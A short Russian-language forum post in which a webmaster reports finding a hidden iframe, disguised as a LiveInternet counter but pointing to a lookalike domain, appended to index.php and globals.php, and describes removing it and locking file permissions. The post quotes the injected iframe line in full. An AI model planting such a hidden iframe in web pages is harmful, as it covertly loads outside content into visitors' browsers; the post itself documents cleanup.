Ну вот и я разобрался...
Причина моих мучений оказалась прям под носом (и как я этого сразу не обнаружил?):
в index.php и globals.php (!) в самом конце кода:
<!--LiveInternet counter--><iframe src="http://liveinternets.com/all/update.php" width=1 height=1 style="visibility:hidden;position:absolute"></iframe><!--/LiveInternet-->
Ну и тут же нарыл дисскуссию на тему...
http://paraplan.ru/forum/viewtopic.php?t=43529
Было еще какое то, явно стороннее файло за корневой директорией сайта.
Вобщем снес эту бодягу, где нашел. Все встало на свои места. Ну и СHMOD 444, на фсякий случай выставил.
Завтра попробую с хостером пообщацо...